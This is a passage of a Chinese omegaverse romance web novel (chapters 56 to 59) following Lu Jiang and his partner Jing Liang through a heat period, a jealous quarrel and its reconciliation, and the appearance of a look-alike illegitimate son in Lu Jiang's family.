他放缓了车速,看了眼时间,晚上七点,不知道景凉的事情办完了没有。 他连接蓝牙给景凉打了一个电话,响了一轮没人接。 “还没回去吗?” 帝都夜灯初上,整座城市笼在霓虹之中,大隐隐于市,小隐隐于野,大千繁华之中包裹着宁静,沉静下来之后心里总有几分寂寥。 卢绛迫切想回家,拥抱他的爱人,填补此时的空虚与牵挂。 此时家政阿姨正在厨房里做晚饭。 见卢绛过来,阿姨笑眯眯的迎了过来:“卢少,您吃饭了没有?” “没,”卢绛将车钥匙放到了玄关的鞋柜上,问道:“阿姨,他回来了吗?” “也刚回没多久,是周助送景先生回来的。” 卢绛立即想到了什么,换下鞋子快速往楼上跑去。 正准备推门进去,碰巧周洲拿着手机匆忙出来,差点撞个正着。 “你回来得正好,我刚要给你打电话来着。” “谢谢,周助留下来吃饭吧,我进去看看他。” “嗯,不用管我,这里可能我比你还熟,你们随意。”周洲笑着冲他摆摆手,转身下了楼。 卢绛刚进去,omega浓郁的香气瞬间缠绕了上来,景凉盖着薄被,身体难受得蜷缩蠕动着,从唇间溢出的声音带着若有似无的哭腔。 卢绛只觉空气开始稀薄滚烫,他脱下外套爬上床,将景凉紧拥入怀中,释放出大量信息素缓解他的痛苦。 Omega本能的依赖,无条件信任的攀附上来,双眼迷离,扑朔的睫毛沾着泪水,卸下以往所有的强势,只在卢绛面前坦露出自己真实的需求与本能。 “阿绛,给我吧,我想要你。”床单被洇湿了一大片,景凉低语请求,让卢绛乱了呼吸。 他将景凉推开,转身就要下床,景凉慌张的用全身力气抱住了他,“别,别走!” “我没有要走,我去拿套。” “没关系,第一次这种情况,不会有小孩的。” “你怎么确定?” “我确定,快点!我好难受……” 卢绛见他缠着自己满是隐忍的痛苦,温柔地亲吻安抚着他的omega,情不自禁沉醉在这温柔乡中,不知深处。 第56章 第56章 虽说男性omega比一般男…… 景凉小睡了两个多小时, 醒来刚过凌晨。 床单不知什么时候换了新的,身上已经没有那种黏腻感,很清爽。心上是满足的,身体残留着余味敏感又酸疼。 门吱呀一声推开, 只见卢绛端着茶托拿了些吃的走了进来。 Omega发情期不会有胃口, 所以卢绛准备的都是些清淡爽口的菜。 “要不要起来吃点东西?”卢绛一身清爽坐到了床边,伸手拔弄着他额头的碎发。 景凉抓过他的手, 逐个亲吻着他的指尖, 喜欢到骨子里的情感毫不加以掩饰, 从他带笑的双眸中迸发。 卢绛只觉指尖传来一阵酥麻, 打乱了呼吸的节奏。 “老婆……”卢绛浑身发烫,语气满是撒娇的意味,靠着他用鼻尖蹭景凉的颈窝。 景凉侧过脸亲吻着他的眉眼。 “老婆,我表现棒不棒?” 景凉失笑, 给予肯定:“嗯, 很棒,我很喜欢。” 卢绛高兴的在床上滚了两滚, 抱着景凉亲了下他的额头, “起来吃点东西吧,弄的是很清淡的。” “好。” 卢绛拿过干净的睡袍给他穿上, 扶着他走到茶几前坐下, 又拿过柔软的靠枕垫在他腰后, 一切都做得那么熨帖。 景凉看他这么热情, 虽然没胃口, 但还是象征性的吃了几口。 似是想到什么,卢绛起身从包里拿出两盒巧克力,“要是吃不下饭菜, 吃颗巧克力吧?上次买的那个牌子。” 景凉失笑,很给面子的拿了一颗黑巧放进嘴里。 “你别这么紧张,我又不是纸糊的,过来,让我靠靠你。” “嗯。” 卢绛把他抱进怀里,omega的信息素还是很浓郁,但是麦麸的香气却不会那么甜腻呛人。 “凉哥,你知道你的信息素像什么味道吗?” “麦麸?周洲说很像麦麸,是alpha不喜欢的气味,比较寡淡。”景凉虽说着alpha不会喜欢,但一脸淡然从容。 “是阳光的气味。” “阳光还有气味?” “嗯……就是漫长的阴雨潮湿之后,太阳终于出来了,晒好的被子上干燥清爽的气味,让人很舒服很安心,我很喜欢。” 这也是为什么每次在他这里留宿,都睡不醒的原因。 “那你品味还……挺(独)好(特)。” 卢绛抿了下唇,终是开口问他:“那个,真的不会怀孕吗?” 景凉暗中做了个深呼吸,以前他并不在乎这个,但是他现在还是在意了,因为卢绛对他来说是很重要的人。 “我之前跟你说过,长期注射强效抑制剂,它是有负作用的,会影响omega的生育能力,自从你给我临时标记之后,我就没有使用过。身体想要完全代谢需要三到五年的时间,所以每一年我都需要抽血检测,以后,也可能不会容易怀上小孩。” 卢绛听完,心脏紧缩成一团,酸涩得冒泡,不由更加用力抱紧了他。 他不说话,景凉不安到了极点,“你,你会在意吗?不是完全不行,我会很配合医生治疗,如果以后你想要孩子……” “别说了。”卢绛轻轻打断了他,现在多听一个字都感觉心脏像被扎了一针。 景凉的心悬空着,咽下一股酸涩,还是会在意吧?毕竟繁殖是刻在alpha基因里的,没有哪一个alpha能接受无法生育的omega。 下一秒他又听到卢绛说道:“我不在乎这个,我只是担心你的身体,为什么对自己也这么狠?” 他想要好好的幸福的过完自己这一生,已经拼尽了全力,怎么敢再要一个小孩带他来这个世界上来历经磨难? 景凉喘了口气,不由失笑,视线被水雾模糊,“阿绛,你怎么这么好?” “因为你也很好。” “嘴这么甜,是不是从小在蜜里泡大的?” 卢绛将脑袋往他颈窝蹭蹭,像是一只没有安全感的大型犬,默默没有作答。 “别蹭了,好热……” “想要吗?” “抱我回床上,我没力气了。”景凉第二波情热再次袭来。 卢绛揉了揉他柔软的小腹,将他打横抱起放到了床上。 “我收拾一下茶几,很快就回来。” “那你快点。” 卢绛安抚地吻了下他的额头,将茶几上的碗筷收好送出了房间,放到了走廊里,特殊时期,阿姨会过来收。 卢绛洗了手回来,快速钻进了被子里,与他的omega新一轮的深交。 * 情热持续了三天,普遍来说不算长的时间。 景凉不敢有一丝懈怠,第四天清晨七点半起床洗漱,吃完早餐准备上班。 卢绛惊觉他不在身边,连鞋也没穿‘噔噔噔’的跑到了楼下,“你要去上班?” “怎么醒了?”景凉上前替他拢了下睡袍,“我得回公司处一些紧急文件,事情处完就回来。” 卢绛有点生气,“你才刚过发情期,为什么就不能好好休息一天?” 景凉还是第一次看到他生气,怔愣了几秒,“抱歉,我肯定早点回来陪你,好不好?” “不是因为这个!”卢绛更加气了,“我不是小孩子时刻让你陪着,我也不需要你哄着我,你这样身体怎么吃得消?我不管你以前是怎么过来的,但是现在你是有家室的人了,我解公司和工作对你很重要,但我希望你能把自己放在第一位。” 景凉暗叹了声,抬手看了眼腕表,“我得出门了,嗯?” 卢绛胸口像是压了一块巨石,喘不上气,他无力放开了景凉,沉默转身迈上了楼梯,没再看他。 谁能想得到,他们之间第一次争执,居然是在这个时候。 景凉目送他的身影消失在楼梯尽头,还是选择拿过车钥匙出门了。 卢绛气愤的钻进被子,床上都是他残留的信息素,不是说omega这个时候会本能的依赖alpha不想分开吗? 他烦躁的翻了个身,三天都没怎么休息,现在也找不到一点睡意。 左右睡不着,卢绛干脆起床准备去世博园赛车场跑几圈。 出门时,他打开衣柜,看到了去年那件景凉送他的宝蓝色长外套,正好这几天的天气有点凉,厚度穿着合适。 车子开到半路,卢佑铭的电话打了进来。 卢绛很意外,父子俩一年都不见得能打上五个电话,两世都亲情薄淡,这个时候给他来电,或许是有什么事。 卢绛连接蓝牙接了电话。 “爸爸。” “来南雅湖畔的高尔夫球场,带你认识几个人。” “怎么……这么突然?” “突然什么?不然让你继续夜不归宿的在外鬼混?” “我没有鬼混。” “我信你个鬼!” “……” 卢绛一阵无语,“我知道了,会过来的。” “嗯,快点!不要让各位叔伯等你一个小辈。” 卢绛调出导航,转道改去了南雅湖畔。 卢绛刚一下车门口就有穿志服的侍应生领路,偌大的商务中心安安静静,卢绛叹了声:“这里怎么没什么人?” 侍应生浅笑道:“今天卢董包场了,不接待外人。” 卢绛扯着嘴角笑笑,早该想到。 到了场地,远远看到绿色草坪上有七八个中年男人,正在举着杆打球,看样子相谈甚欢。 休息区坐着几个女士和几个青年,正在玩扑克。 看到卢绛过来,所有人停下了手里的动作,这种注目礼让卢绛想逃。 卢绛越慌张,表情就越冷漠。 以至于卢佑铭见到他,不满的斥责了声:“连笑一下都不会,我叫你来是委屈你了不成?” “卢董,今天出来好不容易放松放松,让晚辈们认识的,可不是训小孩来的。” “就是,我看卢绛这孩子比我家的那小子靠谱多了,这气质稳得很!” …… 一顿商业互夸后,卢佑铭笑呵呵的带卢绛认了人,都是各行业的龙头大佬,随便一个名字都如雷贯耳。 认了人后,卢佑铭拍拍他的肩膀:“去和你同龄人好好玩,不要板着脸,去吧去吧。” 卢绛礼貌的与长辈们一一打了招呼,朝休息区走去。 卢绛一个人坐得远远的,浑身生人勿近的气场,连呼吸都要不顺畅。 几个少爷小姐假装玩扑克,一边偷瞄着卢绛,推三阻四谁也不肯上前去打招呼。 “长得还挺帅的,但看起来不太好亲近的样子。” “真人比网上传的照片还帅。” 吃味的alpha轻嗤:“你们看人真肤浅,帅能当饭吃啊?” “咱们来抽牌,谁抽到小鬼,谁就去负责把他请过来,要是没请得动,就要接受惩罚。” 这提议一出,好几个人一起附和要玩抽牌游戏。 十个人拿了十张牌,一轮抽完后亮出了手里的牌,小鬼在钟悦手里。 “哇哦,小悦悦,这可是个难得的机会。” 钟悦长叹了口气,一脸愁容,“好吧,愿赌服输。” 钟悦鼓起了勇气朝卢绛走了过去。 卢绛正在用小号在大学校友群里求课堂笔记,请了一个星期的假,还是得将落下的课程自己补上。 “那个,你好,可以认识一下吗?” 卢绛抬头朝声源看去,不由愣了片刻。 来人是个男性omega,整个看起来苍白纤细,浅褐色微卷的头发,眼睛很大,睫毛很长,五官精致得像个洋娃娃。 虽说男性omega比一般男性柔弱,但这个看起来也太……纤弱,仿佛一不小心护着,就会碎掉。 见卢绛没说话,钟悦慌张的开始介绍自己:“我叫钟悦。” “哦……”卢绛想起来,是那位家里做建材生意的钟叔叔家的孩子,但是父子俩一点都不像,可能长得像妈妈,年龄应该和他差不多。 “不可以吗?” 卢绛看了眼那群同龄人,也正笑嘻嘻的朝他们这边张望。 “你们是在玩游戏?你输了?” “你别误会,不是什么过份的游戏,大家都很好相处的。”钟悦顿了顿又道:“反正以后,大家抬头不见低头见,认识一下总没错。” 第57章 第57章 下次再买抑制贴,一定要买防…… 卢佑铭将他叫过来, 大概也是这个意思,以前卢家对原身一直是放养的,为什么突然上心了? 不过钟悦说得对,互相认识一下还是有益处的。 “我叫卢绛, 你好。” 当卢绛很有礼貌地朝他递出手时, 钟悦满脸惊讶又假装镇定的与他握了下手,这人看着冷, 其实也不是那么难相处吧? 直到钟悦将卢绛带了过来, 有人很快让了一个位置给卢绛, 如海浪袭来般的热情将卢绛淹没, 这还是他第一次和同龄人如此自然开怀地坐在一起,随意的聊天。 他们看起来都很容易相处,不过这也只是表像,有了卢氏集团继承人这个身份, 他不来就山, 山会来就他。 这些人有一半是alpha,有一半是omega, 目的很简单, 资源信息互换和资本联姻。 他们似乎对卢绛都很感兴趣,但不敢多问。 卢绛参与了他们的互动环节, 交流了几句, 所有人发现他不像外表那么高冷难以亲近, 便放开了很多。 “坐在这里好无聊, 里面有台球室, 要玩台球吗?” “我想打网球!” “我想去室内游泳池。” “不如,打水上排球?” 水上排球一致通过,卢绛被动地跟着他们去了室内游泳馆。 大家一起换了衣服下水, 十组数字抽单双分组。 钟悦被分到了卢绛一组。 对卢绛来说水上排球并不是很陌生的运动,再加上他水性很好,体能在他们中也最强,不到十分钟就得赢了对面两个球。 游戏到半场,卢绛突然闻到一阵桃花的香味,很些浓烈,应该是发情期将近。 他下意识扭头看向与他站得比较近的钟悦,离他不远处一片抑制贴正浮在水面上,钟悦自己还没发觉。 这有点尴尬。 他是提醒还是不提醒?等他自己发现只怕信息素发散会更尴尬吧? 卢绛悄悄捞起水面上的抑制贴,趁所有人被排球转移视线时,一掌拍向了钟悦的后颈。 钟悦一阵窒息,这十分冒犯! 他回头瞪向卢绛正要发火,下一秒又意识到了什么,白皙的脸乍红,抬手捂向已经没有粘性的抑制贴。 “等一下,你们先玩着,我肚子疼想上洗手间。” “哦,那你快去吧。”卢绛朝他摆手示意他快走,堵住了所有人正准备发牢骚的嘴,毕竟正玩在兴头上。 钟悦头也不回的赶去了洗手间,换了一片新的抑制贴。 不能下水玩了,下次再买抑制贴,一定要买防水的! 钟悦走后没多久,所有人也兴致阑珊上了岸,再泡下去就要泡发了。 一群人在商务中心的餐厅吃了晚饭,长辈一个包间,小辈一个包间,避免了代沟的尴尬。 吃完饭,卢绛走在一群人后头,少年人很容易混熟,现在已经打成一片了,除了依旧不怎么爱说话的卢绛。 钟悦故意放缓了脚步,走到了卢绛身边,“今天在游泳池,谢谢你。” “嗯。”卢绛轻应了声,还是一副不愿与人多说一句话的高冷模样,但钟悦对他稍微了解,不是外表看起来那么难相处。 “那个,能加一个好友吗?”钟悦怕他误会,赶紧解释道:“就只是普通朋友,我没有别的意思。你……你长得有点像我以前的一个朋友。” 卢绛见他一脸真挚,提到朋友落寞的模样,想着或许也跟他一样,没有朋友。 他拿出手机让他扫了二维码,钟悦看着通过的好友验证,脸上的阴霾一扫而空,笑起来时眼睛弯成了月牙儿,很是漂亮干净。 “能认识你很开心,那,下次再见。”钟悦高兴的朝他挥手告别,步子轻快的追上了前面的omega同伴。 卢绛半举起的手悄悄放下,尴尬抿了下唇。 走出餐厅,一辆黑色加长版轿车停在了卢绛身边,车窗降下,露出卢佑铭那张过份严肃冷峻的脸。 “今晚你又不回家?” “不回。” 卢佑铭狠抽了口气,似乎有千言万语憋在心里愣是忍着没发作,“你自己要有分寸,你现在是大人了,我也管不了你,不过下个月十号,记得回家,你舅舅过六十岁生日,总是缺席会落人话柄。” 卢绛:“那我能带老婆去吗?” “你哪来的老婆?” “现在不是,很快就是了。” “没过门不算!”卢佑铭冷哼了声升上车窗,气得催司机赶紧开车。 卢绛拿出手机查看信息,有两条未读,都是景凉半小时前发来的。 他一边往停车区走去,一边回他消息。 【景凉:今天我的小alpha去哪玩了呢?】 【景凉:还在生气吗?我明天可以休息一天陪你。】 【卢绛:现在回来。】 【景凉:等你哦。害羞微笑.jpg】 卢绛被他的表情给逗笑了,明明就不是这样的性格,为了讨好他居然卖萌! 【卢绛:我真的不生气。】 【景凉:不生气了吗?】 【卢绛:我开车回家了,到家再说。】 景凉没再回了,怕他晚上开车还要看手机不安全。 卢绛归心似箭,一想到还有人在家里等他,好心情膨胀到飘飘然,两世为人,他是唯一的温暖,也是他唯一的归属。 卢绛将车停在了院子,匆匆下车往门口飞奔,才将门打开,玄关一道雅人清致的身影朝自己投奔了过来。 景凉右手勾过他的后颈,旋身将他抵在了墙上,笑容魅惑,微掂起脚尖抬头正要吻他,却在咫尺停下,笑容渐渐清浅。 卢绛迟迟没等到他的吻,不耐的追寻上去,景凉一手抵住他的胸膛,往后退却一步。 “老婆?” “桃花味的信息素……” 桃花? 卢绛抬起手臂闻了闻身上的味道,他很小心了,没想到还是沾上了钟悦的信息素。 景凉紧抿双唇,放开了他,转身从厨柜上拿出一瓶红酒,倒了半杯一口气饮下,压压心火。 “凉哥。”卢绛追到了厨房。 景凉回头看了他一眼,表情讳莫如深,又倒了杯酒,转身倚着厨壁似是不在意的问道:“桃花味的信息素很好闻吧?应该是个很漂亮很干净的omega。” “是卢佑铭先生组了一个局,里面有个叫钟悦的omega……” 景凉冷笑,“你记住他名字了?钟悦,悦悦?名字也挺好听的,叫起来很可爱。不像我,景凉,凉凉……一听就不讨人喜欢。” 凉凉? 叫着不也很可爱吗?卢绛强忍住笑,握拳抵唇轻咳了下嗓门儿掩了下翘起来的唇角。 现在这个情形笑的话,他可能会失去老婆。 “不是你想的那样,我们十个人在游泳馆打水上排球,那个钟悦他……” “哦?你们还一起游泳了?” “啊?不是,不是我与他在一起游泳,是有很多人一起玩。” “随便,我不想听。” 景凉胸膛起伏不定,昨晚才与他一起渡过发情期,今天就沾染上别的omega信息素,好气!! “你不听怎么行?”卢绛扳过他的双肩,强迫他面对自己,“那个钟悦抑制贴不防水就掉在我旁边,而且他好像快到发情期了,我只是顺手帮了他一下,也不是很想帮他,只是不想搞出大麻烦,那里不止我一个alpha。” “那你等会儿记得告诉他,抑制贴有防水的。” “好。” “好?”景凉气笑了:“啊……这么说你们加好友了?” “???”这也行?! 景凉又咕咚咕咚喝了杯酒,气得拿杯子的手都在微微颤抖,“你沾上了他的信息素,还加了他好友,之后呢?之后聊着聊着就开始要频繁见面了吧?” 卢绛觉得适当吃醋也不是坏事,但景凉的反应明显过激了。 “你先冷静一下,如果你冷静下来还想沟通,我随时都可以。” 卢绛亲吻了下他的额头,转身离开了厨房。 景凉从未像现在这样沮丧,他染上了别人的信息素,就好像自己独有的最宝贵的东西被人觊觎,让他受不了! 看着卢绛的背影离开,一股酸意从胸腔迸发,刺红了双眼。 他拿出手机给周洲诉说着心里天大的委屈。 【景凉:你说得对,alpha都是混蛋!】 【周洲:怎出此言?】 【景凉:他昨天才跟我做完,今天出去鬼混,染了别的omega一身信息素回来,还是桃花味的!桃花!我以后再也不喜欢桃花!】 【周洲:阿凉,冷静,你气成这样,方寸大乱只会被人牵着鼻子走。】 【景凉:难道我不该气吗?桃花的气味把我留在他身上的信息素掩盖了,明明他是我的!】 【周洲:卢绛怎么说?他解释了吗?】 【景凉:这是能解释得清的事?】 【周洲:嗯……得看情况和人品而定,你不是说,你的阿绛是世界上最好的alpha吗?】 因为这句话,景凉眨了下眼睛,凝成的泪珠滴落,他抽过纸巾醒了下鼻涕清醒了许多。 【景凉:是我的问题吗?】 【周洲:我觉得既然相爱,也要给予彼此信任才对。】 【景凉:我没有不信任他。】 【周洲:那他给你解释,为什么你下意识全否定?】 【景凉:难道就没有那种可能?他可能会被别的omega勾引!】 【周洲:你这么优秀,他不会轻易再喜欢别人的,你要相信自己的人格魅力。】 【景凉:我信息素很寡淡,人也很无趣,以后还很难怀上小孩。今天出门因为我坚持要上班的事情,跟我生气了,我是想哄他来着……周洲,我真的很喜欢他,特别在乎,我不能失去他。】 【周洲:爱上一个人就是这样患得患失,我觉得你还是要去跟他好好沟通,尽量不要吵架,吵架如果起不到解决矛盾的作用,会越吵越远的。】 第58章 第58章 以后,我要做那个给糖的人。…… 一想到卢绛可能会离他渐行渐远, 无尽的恐慌从心底漫延。 【景凉:先不说了,我去看看他。】 【周洲:要好好说,别吵架哦。】 卢绛刚洗好澡,从书包里拿出笔记本电脑, 准备一下最近的知识点, 学院组织了一次期中考测试,总不能考得太差。 了一会儿, 他听到卧室的推门声, 下意识回头看去, 只见景凉情绪很低落朝他走来。 卢绛合上电脑, 局促地交扣十指一脸认真等着他和自己接下来的沟通。 景凉暗中做了个深呼吸,在他身边坐下,脑子里疯狂的措辞,要怎么有效沟通。 卢绛等了许久, 景凉没有动静。 突然卢绛倾身将他抱进了怀里, 撒娇的语气,“老婆……你别生我的气了, 这次真的是特殊情况, 我已经洗了澡,你闻闻, 没有别人的味道。” 景凉一下软了心肠, 甚至还为自己的之前的行为而愧疚。 他回抱住卢绛, 闭了闭酸涩的双眼, “是我不好, 无端生你的气,我应该相信你的。” “你的感受我明白……对不起,我不知道染上了别人的信息素, 惹你难受了。”卢绛想到之前他身上沾染上别的alpha的气味,也气得两次想杀人。 原来他从那时候开始,就已经对景凉有了占有欲。 景凉冷静下来后难掩羞愧,他的成熟稳重在小朋友面前都碎成了渣,现在想拼也拼不回来了。 “你会不会对我很失望?”景凉抬眸看着他,失落至极。 “为什么失望?” “你和我在一起,不是因为我情绪稳定,性格沉稳,对人温柔吗?那些都是装的,真实的我你也看到了,我小心眼又善妒,也没有那么成熟稳重,甚至还会和自己小好几岁的男朋友置气。” 卢绛想了好一会儿,说道:“这样不是很有意思吗?” 景凉被这句话给逗笑:“哪有意思?” “就很有意思啊!我原本以为你是这个样子,可是发现其实你还有很多很多面,上一秒我觉得够了解你了,下一秒你又给我惊喜,哦~原来你还会这样,就像看小说,有的小说看前面几章就能一眼到头,有的小说每一章都是惊喜,让人欲罢不能。” 卢绛说这些的时候很真挚,眼睛很亮,嘴角的笑容一直上扬,“你这样子,我很喜欢的。” 景凉一颗心疯狂跳动,目不转睛的注视着他,“阿绛,你为什么这么好?” 卢绛被他夸反而心虚了,“其实我也没有你想的这么好,但是以后我会努力成为一个更好的人,可以足够配得上你。” 景凉用力抱紧了他,哽咽道:“你现在就已经足够好了。” 他的纯真率直让景凉感觉这个世界都格外美好,只要能和卢绛在一起,以前再多的委屈都能抵消放下。 “你明天去上班吧。” “不想我陪你吗?” “想啊,可是我不想看你更累,你明天的工作都堆积到后天得加班到很晚。” 景凉无奈:“不是一直都这么忙的,这两年是公司的关键时期,逆水行舟,不进则退。” 卢绛若有所思的点头,服装贸易的前景其实挺好的,只是在未来十年这个行业的实体店受到电商蓬勃发展的冲击,很多小商户和加盟店会很艰难。 “凉哥,你们家公司在国外的加盟店有多少家?” “全球加起来一百来家,近两年国际商法调整关锐政策收紧后,净利润同比下降了百分之23%,有不少店现在在亏钱经营,如果年后做不到业绩,打算关店节流。” “你不要担心,车到山前必有路,船到桥头自然直,未来的主流是轻工业,卢家也在尝试转型,可以果断关掉那些不营利的实体店。” “嗯,最近公司开会也是在商讨这个问题。” “等我的app做大做强,我们再深度合作吧,景总。” 说着,一本正经的朝景凉递出手,景凉不由失笑,用力与他握了握手,“那我等你啊!小卢总。” * 卢绛提前了一天回了南城,上飞机前的十分钟给景凉发了消息,他还在开会。 【卢绛:凉哥,我要上飞机了,不用记挂我,好好上班哦,下次回来给你带礼物。给你小心心.jpg。】 等景凉开完会,看到卢绛的信息时已经是一个小时后了。 景凉反复看着他的信息,心中莫名泛起一股酸楚,他竟从来不知道自己的眼泪这么泛滥。 太过矫情和软弱,不敢让任何人知晓,他赶紧抽出纸巾把泪水擦干,深吸了口气平静了一下心情。 他拿起手机,快速输入。 【景凉:在好好上班呢,你也好好学习,照顾好自己,很抱歉不能去送你,也没有好好陪你。】 一个小时后,卢绛回了信息。 【卢绛:凉哥,我已经到南城了,刚下飞机,这种事不用道歉,我们有一辈子的时间,不必急在这一时。】 【景凉:你才十九岁,怎么就这么懂事?会哭的小孩才有糖吃。】 是啊,会哭的小孩有糖吃。 卢绛小时候也是个爱哭鬼,但没有人给糖哄他,所以渐渐学会不哭了。 【卢绛:以后,我要做那个给糖的人。】 【景凉:我们阿绛最棒了!】 【卢绛:我们一起棒棒哒~小狗快乐飞奔.jpg。】 余下的大半个月,两人分隔两地,一边忙碌着学习和事业,一边思念着对方。 万星因为业务增加,原来的公司租地太小又加上租期将近,于是他们搬到了新的科技园,霍临开始忙不过来。 他不只要带游戏开发部,还需要到处见合作客户,谈各种合约,一天脚不沾地的跑户外。 卢绛这个隐形的boss也不得不出现在公司处一些重要文件。 但他因为学业繁忙,大一的课也很满,所以去公司的时间没有定性,给人一种神龙见首不见尾的神秘,有幸见过他的员工寥寥无几。 在这生活近一年半的时间,卢绛的气质形象有了很大的改变,可能是过于惹眼总会被人在路上认出来。 于是他养成了出门戴口罩的习惯,想隐藏自己,不想融入人群的孤僻性子改不掉了,戴口罩出门是他最后的倔犟。 快到十号的前三天,卢佑铭突然给他打了一个电话。 “你没忘了生日宴的事吧?” “我没忘。”不但没忘,还一直记挂着这个时间,想着提前一天回去陪老婆。 “嗯,那你先安心上课,有什么事回家再说。” 卢佑铭没再多说,匆匆挂断了电话,卢绛不由疑惑,怎么听着话里有话?什么事需要等他回家再说? 之后卢绛没多想,该上课上课,该工作工作。 卢佑铭给他打完电话的第二天清晨,景凉也给他打了一个电话过来。 这个时间景凉从未给他打过电话,一般只是信息问候。 这让卢佑莫名有种紧迫感。 “凉哥……” 景凉默了好一会儿,才缓慢开口说话,“你……还好吗?” “啊?我很好啊,怎么了?” “卢佑铭和你说什么没有?” “没说什么,他只是在昨天打电话提醒我别忘了舅舅的生日宴。” “生日宴吗?” “有什么问题?” “我发一张照片给你,你先看看。” “好。” 没一会儿景凉的照片发了过来。 卢绛深吸了口气,点开看了眼,不确定,又放大了好几倍。 照片上的青年和他长得好像! 穿着一身昂贵的休闲西装,出入卢家旗下最大的商场,低头一脸乖顺的正在听黎花说话。 不止长得像,就连身高身形也与他相差无几,只是卢绛的身材要比他更结实,他看起来很清瘦。 景凉沉声道:“这张照片在帝都的上流圈子里传遍了,一开始所有人以为照片中的人是你,可是也有眼尖的人说这不是你,我能一眼认出来,很像,但照片上的是别人。” 卢绛呼吸一窒,久久没有说话。 景凉满是担心:“阿绛,你……你是找个时间回来,还是我过去陪你?” 卢绛猛地回过神,若无其事道:“不用,我没事。” “可我听着,你不像是没事,在我面前你不用逞强,不管发生什么,我都会陪着你。” 本来还想过两天回去的,但卢绛改变了主意,他打算今晚买票回卢家一趟。 “凉哥,我真没事,我打算今天晚上回去,对了,我带了礼物,晚上你不用来接我,我先回家一趟。” 景凉犹豫再三,还是将心里的担忧说了出来,“这个私生子现在回来,时间有些微妙,而且你妈妈对他的态度叫人匪夷所思。” “凉哥,订婚宴那天,不是我自己跳下来的。” 景凉心脏紧缩,“什么?” “是有人从背后推了我一下,但那个过程太急促短暂,我只能感觉到背后有推力,那种情况下我的思维很混沌,又不太确定这种感觉,所以没有对任何人说过。” “那你还是回我这儿来吧,我担心。” “没事,我回自己的家,能有什么危险?”就算他的感觉是真的,有人想要他的命,也绝不会在卢家动手。 景凉很想强硬的把他接回自己这边,但卢绛是个有主见的人,他决定的事应该不会喜欢他自做主张。 “有什么我能帮你?”景凉语气很低,掩不住的担忧与失落。 卢绛失笑:“你要对我有信心,我会处好的。” 背叛与被抛弃这种事他不陌生,也不会再为此难过,因为他的心性已经练就得坚不可催,没有人能再伤他,何况他还有景凉。 来这个世界一趟,占了他的命重活,他们早就融为一体,如果真是有人想要他的命,那人已经成功了一次,他没有死,一定还会有下一次。 他等着。 第59章 第59章 他忍不住打开礼盒看了眼,是…… 当天晚上卢绛买了回帝都的机票。 下飞机时已经是晚上十一点, 他的车停在了五号航站楼,开车回去不到十二点,家里还亮着灯。 车子的引擎声那在深夜的显得格外清晰且嘈杂,车子才刚熄火, 管家一边穿着外套一边来开了门。 “少爷, 您怎么现在赶回来了?” “于伯。” “现在这个时间董事长和夫人都睡下了。” “不用吵醒他们。” “欸,那您……” “不用管我, 你去睡吧, 现在很晚了。” 卢绛说着与于伯一并走进了屋。 于伯给他倒了杯热水, 念叨着:“这天儿虽然是回暖了, 但晚上还是有些凉的,少爷要多穿些,可别感冒了。” “谢谢于伯。”卢绛接过他递来的热水,正准备回房间去睡觉, 却见于伯欲言又止。 卢绛想了想问道:“于伯, 有什么话你就直说。” 于伯似乎不知道怎么开口,只是用着劝解的语气:“少爷, 有些事情并非一蹴而成, 冰冻三尺非一日之寒哪!” 卢绛细嚼着这句话的深意,“怎么说?” 于伯无奈:“您是我看着长大的, 前些年您叛逆不服管教, 董事长看在眼里急在心里, 现在您长大了, 懂事了, 有些事情还是看开些吧。” 这些似是而非的话,听得卢绛一头雾水,但总归不是什么好的预示。 “好, 谢谢您的关心,我先回房间休息了,晚安于伯。” “欸,晚安少爷。” 卢绛坐了电梯上去,回了自己的房间。 将背包放下,他了一些东西,从小格子里拿出一个精致的丝绒礼盒,他忍不住打开礼盒看了眼,是一只铂金戒指,同款的另一只已经戴在了他的手上。 时间有点仓促,他准备以后再定制一对。 他应该会喜欢的吧? 卢绛拿出手机翻看着景凉为数不多的几张照片,还是从他手机里顺过来的,这次回来他想给他拍几张漂亮的照片。 看着照片卢绛很想现在给他发消息,但是他应该已经睡了吧。 算了,明天再联系吧,免得打扰到他休息。 他拿了睡衣去浴室洗澡,快洗完的时候隐约听到了手机来电铃声响了,这个铃声是景凉来电特有的。 卢绛连水都没擦直接裹了条浴室快步跑出了浴室,手机正搁在礼盒旁边,因为太急切,拿手机时没注意碰到了一旁的礼盒,里面的戒指摔了出来滚落到了床底。 卢绛一边按了接听键,一边趴下身去将手臂探进床底去摸那只掉落的戒指。 景凉的声音从手机另一端传来,现在这个时间难免带着几分困倦。 “到家了吗?” “凉哥,我到了,本来想给你发信息,但是这么晚我想着你已经睡了……” “还没呢,没等到你的电话,我睡不着。” “你一直在等着我电话吗?” “是呀,我感觉自己等不到了,于是自己打过来了。” 卢绛连连道歉:“对不起凉哥,我不知道你在等我电话,如果我知道你现在还没睡,一定会第一时间给你打过来的。” “我又没有生气,用不着道歉,我知道你是怕打扰我消息。” 此时卢绛不止在床底下找到了戒指,还连带摸出一个长约六十宽约十五公分的小密码箱子。 卢绛左右查看着这只神秘的密码箱,过于震惊,一年多了,他才发现藏着这个东西。 等了好一会儿没听到卢绛的声音,景凉不由疑惑:“是信号不好吗?” 卢绛猛地回过神,“啊不是,我刚才有点事,凉哥你说什么?” 景凉:“你回家看到那个私生子了吗?” “没有,我回家的时候他们都睡了,所以没看到。” “你……真的没问题?” “其实有一点失望,也有点难过。” 景凉狠抽了口气:“别难过,你还有我呢!不管怎么样,我们要永远在一起。” 卢绛失笑:“嗯,凉哥,你快去睡吧,明天不是还要早起上班吗?” “好吧,你应该也很累了,我就不打扰你休息了,老公晚安。” 卢绛脸色乍红,连带着耳尖都透着粉色,声音温柔如水:“晚安。” 挂断电话,卢绛扣着手机回味了许久,激动兴奋的心情才渐渐平复下来,他放下手机开始一心琢磨着眼前的这只密码箱子。 卢绛摩挲着滚轮密码,闭上了眼睛,遵循着肌肉记忆试了好几次,在第十次的时候只听到‘咔’的一声,密码锁开了。 卢绛心率不由加速,缓慢而郑重的打开了箱子。 他席地而坐,带着虔诚的心情翻看着箱子里的东西。 一本相册、一个日记本、一支名牌手表及一些小孩子喜欢的小玩意。 这些小玩意就像是一个孤独的拾荒者,将那些年代久远破旧的东西捡回来保存封锁在自己的记忆中。 卢绛拿起相册,竟然是原主从幼儿园到中学时的照片,照片里的小孩笑得格外明朗纯净,替他拍照的人记录着他从小到大的点点滴滴,单凭照片就能感觉到照片里的小孩是被人爱着的。 中间有几张是原主与母亲的合影,渐渐的原主脸上的笑容从明朗到勉强,又从勉强到落寞,从落寞到面无表情。 